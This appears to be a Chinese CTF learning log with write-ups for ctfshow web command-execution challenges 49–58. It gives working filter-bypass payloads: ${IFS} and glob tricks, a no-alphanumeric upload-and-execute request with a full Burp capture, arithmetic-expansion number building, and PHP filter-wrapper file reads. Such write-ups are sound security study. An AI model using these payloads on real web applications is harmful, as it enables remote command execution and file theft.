ctfshow学习记录-web入门(命令执行49-58)


web49

解答: 过滤的内容依旧只是命令的字符串,过滤了$所以不能拼接,*不能使用通配符,过滤了%不能用换行%0a之类的过滤。

web46的第二个payload可以使用。
nl<fla''g.php||


web50

解答:新增过滤了x09和x26,是tab键和&,tab可以代替空格,&是连接符。

上题payload继续可用。?c=nl<fla''g.php||


web51

解答: 增加了一个命令tac的过滤上题,不影响,上题的payload依旧可用


web52

解答:​ $没过滤,大小于号过滤了,可以用${IFS}绕过空格

?c=nl${IFS}/fla''g||(flag没有放在flag.php中,而是根目录下的/flag中)

或者nl$IFS/fla''g||


web53

解答:​ 增加了一个命令wget的过滤,上题payload可用,?c=nl${IFS}fla''g.php

wget是linux上的命令行的下载工具。


web54

解答: 不能用简单的字符绕过了,而且nl也被过滤了,没有过滤?
可以通过?和完整的命令路径来使用命令。
?c=/bin/?at${IFS}f???????


web55

解答: 过滤了字母和%等信息,之前的异或不能用了。用无字母数字的命令执行。(来源phith0n大佬,个人博客是离别歌)

<!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传-->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://f2ef59eb-65f2-45f1-ba08-9e5def4312f5.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

抓包,下附抓包内容。
需要时修改HOST地址为题目地址即可。修改时注意没有http://,最后也没有/结尾,不去掉会出错。
payload:?c=.+/???/????????[@-[]
后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。

后续我拿我之前做的记录截图,就不再重做了,用的还是以前的burp。
在这里插入图片描述附上burp传递的内容。

POST /?c=.%20/???/????????[@-[] HTTP/1.1
Host: c384457a-592d-4547-adad-4b8552845e94.chall.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------397130793013726083754245254477
Content-Length: 364
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/ctf/web/php/upload.html
Cookie: UM_distinctid=174ba7e36f4893-09d527032ef6bb8-4c3f247a-15f900-174ba7e36f6938
Upgrade-Insecure-Requests: 1

-----------------------------397130793013726083754245254477
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream


#!/bin/sh
ls
-----------------------------397130793013726083754245254477
Content-Disposition: form-data; name="submit"

鎻愪氦
-----------------------------397130793013726083754245254477--

在这里插入图片描述


web56

解答: 方法同上,host修改一下就可以用。


web57

解答:过滤了字母和数字,题目提示flag在36.php中,所以,我们要构造数字36。

shell中$(( )) 与 ( ) 还有 ( ) 还有 ()还有{ }的区别

${_}:代表上一次命令执行的结果,之前没有命令返回或者执行,结果应该是空,与""等价
$(()): 做运算
$((""))值为0,$((~$((""))))值为-1,---->$(($((~$((""))))$((~$((""))))))结果是(-1-1=-2)

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))
#拼接得到-37 , -37取反得到36
    
${_} ="" //返回上一次命令
#也可以payload:
$((~$(($((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))))))

web58

解答:有一些函数被禁用了,具体的不清楚,测试的几个常用的不能用。注意是post传递,不是get

可以使用伪协议:c=include "php://filter/read=convert.base64-encode/resource=flag.php";

或者:c=show_source('flag.php');

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值